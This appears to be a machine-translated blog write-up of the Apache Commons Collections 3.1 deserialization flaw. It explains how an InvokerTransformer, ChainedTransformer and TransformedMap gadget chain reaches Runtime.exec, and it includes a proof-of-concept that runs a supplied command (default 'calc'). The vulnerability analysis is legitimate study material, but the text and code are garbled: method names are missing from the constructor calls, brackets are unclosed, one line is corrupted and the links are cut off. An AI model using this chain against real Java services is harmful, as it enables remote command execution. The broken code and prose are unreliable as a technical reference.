Apache Commons Collections deserialize a detailed analysis of learning summary

. 0x01 environment to prepare:

Apache Commons Collections 3.1 version, download link:

jd jui address (java the jar package into source code file):

Configuration jdk version of the project:

Byte code class output path is provided

Add jar package for the project

java object array (array of objects):

object obj[]=new object[5];

Object array to create a length of 5, these null values ​​are 5 elements, and then assign the created array reference obj instance variables. If you need to assign a specific object of these elements, it is necessary to specify separately or be initialized with symbols {} arrays of array operation tools



. 0x02 environmental testing:

import java.lang.reflect.InvocationTargetException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class fanshe {
    public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {

Function name, passed parameter types, parameter values

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"}); Object newobject = transformer.transform(new StringBuffer("hi ")); System.out.println(newobject); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{}); System.out.println(new"whoami").getInputStream())).readLine()); } }

From the above analysis starts this simple test code,

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

InvokerTransformer first instantiate objects, passing the method name, parameter types, and the parameter values ​​to perform, when the type of incoming values ​​and types, to be defined in the java class variables consistent

Inlet parameters defined herein can also be seen that the desired type, where the type of the parameter class type of the array, then the second row

Object newobject = transformer.transform(new StringBuffer("hi"));

In this case the method is called transform-based transformer, passing an anonymous StringBuffer object, wherein the transform function is defined as follows, this function is of type Object, inlet parameters are type object,

At this time, if the input is not empty, the method will be called to give getclass current object class, the next getmethod by calling method, the method calls the class object, wherein the two parameters are passed, one of the first to call of

Class method method name, and the second parameter is the parameter type of the method call, this time getmethod return object value Method type, in which case it can be done the way we want to call the method by calling invoke the method carried out

At this time, for example using a call to complete the reflection type stringbuffer append method, and can also be seen from FIG inlet parameters of type String, append method actually passed append strings together after the currently stringbuffer string, and returns the current string.

. 0x03 principle vulnerability analysis:

This article feel the reason for this vulnerability in a very detailed, https: //

Apache Commons Collections is an extension of third-party libraries Collection structural basis of the Java standard library

org.apache.commons.collections a class package to expand and increase the standard of the Java collection framework, which means that these extensions belong to the basic concepts of collection, but nothing different functions. Java in the collection can be understood as a set of objects. Figurative collection is set, list, queue, etc., which is a collection type. Put another way to understand, collection is set, list, queue abstraction.

Which has an interface function can be invoked by any reflection, i.e. InvokeTransformer

poc as follows:

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class collections {
    public static void main(String[] args) {
        String command = (args.length !=0 ) ? args[0] : "calc";
        String[] execArgs = command.split(",");
        Transformer[] tarnsforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                new InvokerTransformer(
                        new Class[] {Object.class,Object[].class},
                        new Object[] {null,new Object[0]}
                new InvokerTransformer(
                        new Class[]{String[].class},
                        new Object[]{execArgs}
        Transformer transformerChain = new ChainedTransformer(tarnsforms);
        Map temoMap = new HashMap();
        Map exMap = TransformedMap.decorate(temoMap, null, transformerChain);
        exMap.put("by", "SecFree");

poc logic can be understood as:

Construction BeforeTransformerMap value pairs, for assignment by the TransformedMap decorate method, can key Map data structure, value for transforme.

TransformedMap.decorate method, the data structure is contemplated class Map transformation, this method has three parameters. Map The first parameter is the object to be transformed, the second parameter is within the key conversion process to go through the Map object (which may be a single method may be a chain, may be empty), the third parameter is the object Map value in the conversion process to go through.

TransformedMap.decorate (target Map, key conversion object (or a single chain or a null), value of the conversion target (or single chains or null));

poc BeforeTransformerMap in the value of the conversion, when the value BeforeTransformerMap been performed a complete conversion chain, command execution is complete.

 Transformer transforms[] = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {0, new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {commands} ) };

The above code is the transformer constituting the strand, this strand when the conversion is completed, i.e., the code execution is completed, the above code is equivalent to the implementation:


0x04.poc breakpoint debugging analysis:

The first step to define the command to be executed, and the definition of transformer chain, in fact, is an array of objects

Wherein the first object is an object ConstantTransformer inlet parameters Runtime.class, i.e. by way of .class, acquired object class of this class Runtime

Here iConstant assigned to the member variables ConstantTansformer class, specifically why the first class object to an object of this class, below said.

The second class object is an object InvokerTransformer class, previously known role InvokerTransformer class:

        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
        String newobject = transformer.transform(new StringBuffer("hi ")).toString();

Through the above three lines to complete the function call is completed by reflection, which must first define a InvokerTransformer class object, then the function we want to accomplish by calling the object calls transformer method of execution

Constructor its class in the first parameter is the method we want to call called getMethod, the second parameter type, and the third parameter value here is actually calling getRuntime function by getMethod

We already know that the process of reflection to get to the function you want to call by getMethod, the next step is to pass the class object we want to invoke a function triggered by, so our purpose and function of the target class all together,

So in this case shown above, the invoke method call, then the incoming parameters of the type invoke the type of the object class, object class parameters


The final step shown above, the calling exec function, code execution, when an array of parameters of type String, which can execute a plurality of commands, parameters Command that is previously defined, so far, been constructed object array Transformer,

The purpose is to create an array of functions to be performed back into the inside, will form a chain function, the next step is to create a chainedTransformer transformers as parameter object, and chainedTransformer class has a method that is a function of the array chain implementation, namely chainedTransformer of transform methods

Will in turn call iTransformers stored in an array transform method of an object, which is in turn perform the function we need

As shown in FIG put into iTransformers chain variable transformer, easy call later.


As shown above, the last three lines is the commons collections deserialization trigger, first need to construct a map object, and using java generic key to specify the type of hashmap, using the next class to decorate method TransformedMap encapsulation of the map object, role object map conversion process wherein the package is specified to be transformed and the key map object to be performed (this can also be a chain, which we assign to the transformerChain), where you can specify the key, value can also be specified, i.e., next to the keys of the map to be modified by the object put method, wherein put (Key, value) that is added to the value hashMap, in which case the trigger transformer chain decorate defined, function calls :

When single-step f7 to put functions, triggering, put method transformermap because decorate method returns the object transformermap class key at this time is first converted

When the determination of the value for the conversion valueTransformer case is empty, because we defined the transformer chain of map conversion value for



ValueTransformer is the case can be seen that the conversion chain before the decorate the package, so in this case the transformer valueTransformer method invocation, an inlet for the parameter “secfree”, a string

The first of a chain of objects transformer object ConstantTransformer class F7 single step into this time, you can see, this time transform function regardless of why the entry input, returns a iConstant, and iConstant so that we controlled, and therefore here we can return to any class, returns here as an object of class java.lang.Runtime


When the second time cycle, can be seen at this time it has become the object of an object class java.lang.Runtime


At this time, the conversion into the transform method of the second strand invoketransformer class, because we already know the transform method of the class to complete the function call, this time by .getclass () method can be obtained directly class java.lang.Runtime Types of


At this time, in fact, completed by calling the function call to invoke a function java.lang.Runtime getmethod of class (input function to be reflected by an object class), which was the parameter getRuntime () (this.iArgs),


That is, is the object’s class returned java.lang.Runtime.getruntime



The third time you enter the loop, cls is the object of the Reflect.Method class, you can call the invoke function through the GetMethod function, and the third line calls the invoke function of the GetTrunTime class to facilitate the call of the exec function.

At a time when the method is:

java.lang.reflect.Method class and class information about access rights of a single interface or method. The method may reflect class or instance method (a method including abstract).

java.lang.reflect.Method.invoke (Object obj, Object ... args) method uses the specified parameter called Method object thus underlying method represented

As shown above, we already know that the method class variable is actually stored as the method we need to access. The Method.Invoke () function returns the return value executed by the object defined by the first parameter of the invoke function and the method defined by the second parameter.

So at this point we call method.invoke to call getruntime.invoke, that is, when we enter the fourth round of loop, then object is the return value of the previous getruntime.invoke () function, which is the runtime object associated with the current Java application.

The fourth time the loop enters, the exec function is called to execute calc. At this point, the class of runtime object is java.lang.runtime is obtained by getclass, then the exec method of java.lang.runtime class is obtained by getmethod.

The third row is reflected method.invoke exec function call execution java.lang.Runtime class, is the parameter calc, i.e. then pop up calculator.

0x05. Reference:


Leave a Reply